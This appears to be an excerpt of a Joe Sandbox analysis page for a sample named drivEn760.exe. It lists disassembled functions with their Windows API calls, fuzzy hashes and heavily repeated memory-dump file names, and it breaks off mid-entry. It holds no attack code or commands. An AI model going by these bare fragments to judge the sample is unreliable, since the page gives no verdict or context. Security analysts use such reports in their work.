Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: MessageSend
String ID: x
API String ID: 3850602802-2363233923
Opcode ID: a4e2778218c9fdeab8ae4952123a6e605dd424a78c20075fb3486bdcc909a4f1
Instruction ID: 271d720e87c3080f9bc4c684b425461430c88a900e0fa794081ec75d4c8aeb56
Opcode Fuzzy Hash: a4e2778218c9fdeab8ae4952123a6e605dd424a78c20075fb3486bdcc909a4f1
Instruction Fuzzy Hash: 58C01271646200FBCB208B00EE00F067A21B7A4B02F2088B9FB81240B48A314822DB2D

Function 00403371 Relevance: 3.1, APIs: 2, Instructions: 88COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,00000000,00000000,?,?,0040331D,000000FF,00000000,00000000,?,?), ref: 00403396

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 9659739b35da8af7fb285d31f71ea9b2402f124514f270f9d6eabe2ecb184dd4
Instruction ID: 963a71f16df831595788c30304fa9cedbf2cad19eb63879c1ada4fe15c9ed8fa
Opcode Fuzzy Hash: 9659739b35da8af7fb285d31f71ea9b2402f124514f270f9d6eabe2ecb184dd4
Instruction Fuzzy Hash: 93319F70200219EFDB129F65ED84E9A3FA8FF00355B10443AF905EA1A1D778CE51DBA9

Function 0040252A Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,?,00000033), ref: 0040255B
RegCloseKey.ADVAPI32(?,?,?,0040B5F8,00000000,00000011,00000002), ref: 004025FD

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 6a8ec2809d4675c6f0e16cb7776b62bce3f2a37e76b53da777b7f2e3d9c2fca9
Instruction ID: eaee0c709954dca67eb2d1c59e66f6ca2c08a593dad46a4828cc6951ae7b5872
Opcode Fuzzy Hash: 6a8ec2809d4675c6f0e16cb7776b62bce3f2a37e76b53da777b7f2e3d9c2fca9
Instruction Fuzzy Hash: 5C116D71900219EBDF14DFA4DE589AE7774FF04345B20443BE401B62D0E7B88A45EB5D

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 09e122a9c5ca6d14e20a0c17f6d9bb0c47d9e5f073d0cae9cf8d248ab6fa9320
Instruction ID: af17251ef12b8b272b5eaf8d1bef107274ce64b6e67bb2dd4604cf2723900e86
Opcode Fuzzy Hash: 09e122a9c5ca6d14e20a0c17f6d9bb0c47d9e5f073d0cae9cf8d248ab6fa9320
Instruction Fuzzy Hash: 6F012831724220EBEB295B389D05B6A3698E710714F10857FF855F76F1E678CC029B6D

Function 0040579D Relevance: 3.0, APIs: 2, Instructions: 32comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 004057AD

Part of subcall function 00404610: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404622

CoUninitialize.COMBASE(00000404,00000000,?,00000000,?), ref: 004057F9

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: InitializeMessageSendUninitialize
String ID:
API String ID: 2896919175-0
Opcode ID: b14588aebbadd05bc97f1dd14ffe2b6982532d9bfcd69c4411fdff16e8679f7d
Instruction ID: 683c9d360a8619809caff371317e20043972a5eac84f98be19084c03997f3dfe
Opcode Fuzzy Hash: b14588aebbadd05bc97f1dd14ffe2b6982532d9bfcd69c4411fdff16e8679f7d
Instruction Fuzzy Hash: 84F09072600600CBD6215B54AD01B17B764EB84304F45447FFF89732F0DB7A48529A6E

Function 00401EDE Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401EFC
EnableWindow.USER32(00000000,00000000), ref: 00401F07

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: d682e64da976263d74778dcd61bd470f9ad8341d2b96c4d867934af8fae03e48
Instruction ID: 74d914ea4967392a65d1c9fdd8f91c6329c2dde8704c14122971abf6b6e16597
Opcode Fuzzy Hash: d682e64da976263d74778dcd61bd470f9ad8341d2b96c4d867934af8fae03e48
Instruction Fuzzy Hash: 14E0D872908201CFE705EBA4EE485AD73F0EF40315710097FE401F11D0DBB54C00862D

Function 00405C4B Relevance: 3.0, APIs: 2, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426750,00000000,00000000), ref: 00405C74
CloseHandle.KERNEL32(?), ref: 00405C81

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID:
API String ID: 3712363035-0
Opcode ID: ab61a979a714f7ec4effc1a78875f568a822f35fd178278bd28005db307d5d14
Instruction ID: 91309136e62a13352d93043ad9bb7922807806bb2ea2f765c8e9c4a894a003d9
Opcode Fuzzy Hash: ab61a979a714f7ec4effc1a78875f568a822f35fd178278bd28005db307d5d14
Instruction Fuzzy Hash: 59E0B6B4600209BFFB109B64EE09F7B7BADFB04648F414565BD51F2190D778A8158A78

Function 00406A35 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403750,0000000B), ref: 00406A47
GetProcAddress.KERNEL32(00000000,?), ref: 00406A62

Part of subcall function 004069C5: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004069DC
Part of subcall function 004069C5: wsprintfW.USER32 ref: 00406A17
Part of subcall function 004069C5: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406A2B

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: a89557e88259ac32882439a66efe2bded2b7fe37332f597cb2162f61758b0433
Instruction ID: 0464b4a7853edb7079d0776797c383171681067eb8499b99987f1e8ea9f8efb8
Opcode Fuzzy Hash: a89557e88259ac32882439a66efe2bded2b7fe37332f597cb2162f61758b0433
Instruction Fuzzy Hash: E0E086727042106AD210A6745D08D3773E8ABC6711307883EF557F2040D738DC359A79

Function 00402C05 Relevance: 3.0, APIs: 2, Instructions: 21windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000000B,00000001), ref: 00402C14
InvalidateRect.USER32(?), ref: 00402C24

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: InvalidateMessageRectSend
String ID:
API String ID: 909852535-0
Opcode ID: f432a0a30971dc187192fe2491b4b63328d533872b60b8ab23492fb2b34197a6
Instruction ID: c061831bd97a7b49b699665abee3b6b910fafb94a2d14f64d6e35fdc86e4b588
Opcode Fuzzy Hash: f432a0a30971dc187192fe2491b4b63328d533872b60b8ab23492fb2b34197a6
Instruction Fuzzy Hash: 36E08C72700408FFEB11CBA4EE84DAEB7B9FB40315F00007AF502A00A0D7300D51CA28

Function 00403C82 Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE(?,75923420,00000000,75922EE0,00403C59,C:\Users\user\AppData\Local\Temp\,00403B71,?), ref: 00403C9C
GlobalFree.KERNEL32(?), ref: 00403CA3

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID:
API String ID: 1100898210-0
Opcode ID: e868f33ba05eeb96666b2da3448a48ed76ae7177416a2bb01e196352cb617163
Instruction ID: 1b4b668df254a36c82b8f96f79c5ae0e05fb6c29bd97d86a5de4613e9375b038
Opcode Fuzzy Hash: e868f33ba05eeb96666b2da3448a48ed76ae7177416a2bb01e196352cb617163
Instruction Fuzzy Hash: 0AE08C335052205BD6211F55EA0875A7768AF94B26F06006AE980BB26087781C424BC8

Function 00406158 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00403113,C:\Users\user\AppData\Local\Temp\drivEn760.exe,80000000,00000003), ref: 0040615C
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040617E

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: bc48b18717e6d0ecb647aea7fc0ab07bebcbb2e2e3a0bd9572a83b91cd6509df
Instruction ID: 0e1b57c135d9ed337dcee0f1630d7a3ffd6699826ab823f4ff8c6da5104765b0
Opcode Fuzzy Hash: bc48b18717e6d0ecb647aea7fc0ab07bebcbb2e2e3a0bd9572a83b91cd6509df
Instruction Fuzzy Hash: DCD09E71254201AFEF0D8F20DF16F2E7AA2EB94B04F11952CB682940E1DAB15C15AB19

Function 00406133 Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,00405D38,?,?,00000000,00405F0E,?,?,?,?), ref: 00406138
SetFileAttributesW.KERNELBASE(?,00000000), ref: 0040614C

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction ID: 3e6336b5c460747e2e1e0fbe3c4db8defb42c0044e1a92967a1d29a512d2a4bc
Opcode Fuzzy Hash: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
Instruction Fuzzy Hash: 73D0C972514130ABC2102728AE0889ABB56EB64271B014A35F9A5A62B0CB304C628A98

Function 00405C16 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403633,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00405C1C
GetLastError.KERNEL32 ref: 00405C2A

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 3d774f31bfc7c5d70b6f8c035fc875d1b29c99f0800ffc9da4ab7b914865a185
Instruction ID: 66e62c5d6c7775ff4cea72667941029308d228c48495a605f612c1d2d9e1fc74
Opcode Fuzzy Hash: 3d774f31bfc7c5d70b6f8c035fc875d1b29c99f0800ffc9da4ab7b914865a185
Instruction Fuzzy Hash: FBC04C31218605AEE7605B219F0CB177A94DB50741F114839E186F40A0DA788455D92D

Function 004023B2 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 004023E9

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 498f41ba95d1dc934bc83887be66b3af98def7cf3aba53834c7129a1bd888199
